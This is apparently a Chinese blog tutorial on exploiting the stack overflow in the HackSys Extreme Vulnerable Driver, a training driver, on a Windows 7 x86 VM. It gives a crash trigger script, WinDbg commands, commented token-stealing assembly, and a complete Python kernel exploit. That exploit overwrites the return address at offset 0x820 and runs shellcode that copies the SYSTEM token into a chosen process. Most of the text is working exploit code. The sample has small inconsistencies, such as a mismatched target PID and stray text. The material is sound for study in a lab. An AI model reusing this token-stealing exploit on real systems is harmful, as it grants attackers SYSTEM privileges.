返回
顶部

(所有压缩包的密码均为1)

references:

环境搭建比较简单,先下载个x86的IE-Win7虚拟机,导入两次OVF创建俩虚拟机,一个作为Debugger,另一个作为Debuggee,然后使用串口进行调试,关于Vmware的串口调试,请参考这个视频,视频中用的是CentOS,如果是使用Windows,选择使用命名管道即可

image-20231229162940067

hevd驱动、python2安装包、OSR驱动加载工具、windbgx86都打包放到这里了,hevd源码在这里

漏洞成因

HackSysExtremeVulnerableDriver-2.0.0\Driver\StackOverflow.cTriggerStackOverflow函数

92行

RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);

第三个参数为用户控制,而KernelBuffer分配在栈上,大小固定为512字节,如果我们提供的Size大于512,则会造成栈溢出

看一下调用流程

image-20231229170007813

从StackOverflowIoctlHandler函数过来,而StackOverflowIoctlHandler函数由IrpDeviceIoCtlHandler调用

从下面的代码可以知道,当控制代码为0x222003的时候可以进入到漏洞代码中

image-20231229170042436

触发漏洞

那么我们就可以构造出下面的测试代码,来触发栈溢出

import ctypes, sys
import string
import random
import time
import struct
from ctypes import *
def generate_random_string(length):
    characters = string.ascii_letters + string.digits
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)


buf = generate_random_string(0x900)
file_path = 'example.txt'
with open(file_path, 'w') as file:
    # Write a string to the file
    file.write(buf)

# 这里使用输入卡住脚本,确保文件被写入之后再向驱动程序发送数据
holdon = raw_input()  

kernel32.DeviceIoControl(hevDevice, 0x222003, buf, 0x900, None, 0, None, None)

然后我们在debugger中下断点

# 开启详细输出
!sym noisy
# 添加windows符号表服务器到符号搜索路径
.symfix
# 将HEVD.pdb路径加入符号搜索路径
.sympath+ C:\Users\IEUser\Downloads\hevd_vulnerable\i386
# 加载符号
.reload /f
# 启用DbgPrint
ed Kd_DEFAULT_Mask 8
# 在漏洞代码处下断点
bp hevd!TriggerStackOverflow

image-20240101215610390

可以看到已经崩溃了,栈溢出导致返回地址被覆盖,最终导致EIP寄存器的值为我们提供的buffer中的某一偏移量的DWORD,我们可以在重启之后看一下eip寄存器的值在example.txt文件中的偏移量

image-20240101221701338

偏移量0x820,也就是说我们在输入的buffer的0x820偏移处写入我们的shellcode地址即以内核模式执行代码,有一点需要注意的是,当我们的用户模式的代码和驱动进行通信时,此时驱动代码是可以访问到用户模式中的内存的,因此我们可以直接在python代码中分配内存,然后更改内存保护属性为可执行即可

编写EXP

在本例中,我们将利用该漏洞进行本地提权

回顾一下我们现在都有什么条件

  • 控制EIP的值
  • 可以写入shellcode

这两个条件结合起来就是任意代码执行,我们可以通过token替换来将目标程序的token替换成System进程(PID=4)的token

汇编代码及注释如下:

' fs:[00000124h]获取到当前进程的ETHREAD结构体地址
mov eax,dword ptr fs:[0x124]
' KTHREAD是ETHREAD的第一个成员,因此两者的地址
' 是相同的,KTHREAD往后偏西0x40,获取到_KAPC_STATE结构体的地址
add eax, 0x40
' _KAPC_STATE结构体的0x10偏移的值就是KPROCESS结构体的地址
mov eax, dword ptr [eax+0x10]
 ETHREAD相同KPROCESS是EPROCESS的第一个字段,因此这两个结构体的地址也是相同的
' EPROCESS的0xb8偏移是ActiveProcessLinks,一个_LIST_ENTRY结构体,通过这个字段
' 我们可以遍历当前系统中所有的活动进程
' 把这个字段的地址记录下来,后面要用
mov ecx, dword ptr [eax+0x0b8]

' 开始遍历进程链表,找到PID=4的进程
' 获取flink的地址,那么这个值就是下一个进程中ActiveProcessLinks字段的地址
' 使用这个地址减去ActiveProcessLinks字段在EPROCESS结构体中的偏移,即可得到
' EPROCESS结构体的地址
mov ecx, dword ptr [ecx]
' ecx需要进行循环,所以我们把他的值放到esi中进行后续的操作
mov esi, ecx
sub esi, 0xb8
' EPROCESS的0xb4偏移是UniqueProcessId字段,就是进程的ID
mov esi, dword ptr [esi+0xb4]
' 检查PID是否为4
cmp esi, 4
' 如果不是,就跳回循环开头
' 关于这条指令的构造过程,可以参考这篇文章:https://blog.csdn.net/ma_de_hao_mei_le/article/details/135275941
# jnz 0xffffffed
"\x75\xEB"

' 如果找到了System进程,那么我们需要把他的token取出来
' Token字段在EPROCESS中的偏移是0xf8,此时ecx是ActiveProcessLinks字段的地址
' 减去0xb8获取到EPROCESS地址,再加上0xf8获取到Token字段的地址,那么直接加上0x40取值即可
mov edi, dword ptr [ecx+0x40]

' 然后我们再进行一次循环获取到待提权进程的Token地址,将edi写入即可
' 0xC44是待提权进程的PID
mov ecx, dword ptr [ecx]
mov esi, ecx
sub esi, 0xb8
mov esi, dword ptr [esi+0xb4]
cmp esi, 0xC44
# jnz 0xffffffea
"\x75\xE8"

' 获取到目标进程的Token字段地址
lea esi, dword ptr [ecx+0x40]
' 写入System进程的Token
mov [esi], edi

' 为了防止进程崩溃,我们在下面再写一个死循环就行了
mov ecx, dword ptr [ecx]
mov esi, ecx
sub esi, 0xb8
mov esi, dword ptr [esi+0xb4]
cmp esi, 0xD94
# jnz 0xffffffea back 0x16
"\x75\xE8"
# jz 0xffffffe8 back 0x18
"\x0F\x84\xE2\xFF\xFF\xFF"

在上面的代码中,有些字段的值是直接地址加偏移量就可得到,有些是加了偏移量之后还要取值,这个看一下下面两张图片就可以看出来

image-20240102095331978

image-20240102095107673

上面ApcState字段是直接KTREHAD+0x40即可得到地址,是因为这个字段并不是一个指针,而是直接嵌入到了KTHREAD结构体中,你可以看到下一个成员的偏移和ApcState字段偏移的差sizeof(_KAPC_STATE)=0x17

而反观_KAPC_STATE结构体的成员Process,他的下一个成员的偏移和Process的偏移之差是4bytes,也就是一个地址的长度,因此需要取值才可以获得KPROCESS结构体的地址

使用在线汇编将上面的汇编代码转换成字节数组即可形成下面的利用代码:

import ctypes, sys
import string
import time
import struct
from ctypes import *
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, None, 0x3, 0, None)

if not hevDevice or hevDevice == -1:
    print "*** Couldn't get Device Driver handle."
    sys.exit(0)
print "device opened succeed"

shellcode = bytearray(
    "\x64\xA1\x24\x01\x00\x00\x83\xC0\x40\x8B\x40\x10\x8B\x88\xB8\x00\x00\x00\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x83\xFE\x04\x75\xEB\x8B\x79\x40\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x81\xFE\x84\x0B\x00\x00\x75\xE8\x8D\x71\x40\x89\x3E\x8B\x09\x89\xCE\x81\xEE\xB8\x00\x00\x00\x8B\xB6\xB4\x00\x00\x00\x81\xFE\x84\x0B\x00\x00\x75\xE8\x0F\x84\xE2\xFF\xFF\xFF"
    )

# PAGE_EXECUTE_READWRITE    0x40
# COMMIT | RESERVE
ptr = kernel32.VirtualAlloc(c_int(0),c_int(len(shellcode)),c_int(0x3000),c_int(0x40))

buff = (c_char * len(shellcode)).from_buffer(shellcode)
kernel32.RtlMoveMemory(c_int(ptr),buff,c_int(len(shellcode)))

buf ="A"*0x820
buf = buf+struct.pack("<L", ptr)
kernel32.DeviceIoControl(hevDevice, 0x222003, buf, 0x824, None, 0, byref(c_ulong()), None)

Animationswrqwrwqewq

在使用的时候将\x84\x0B改成你自己的目标进程的PID即可(注意大小端)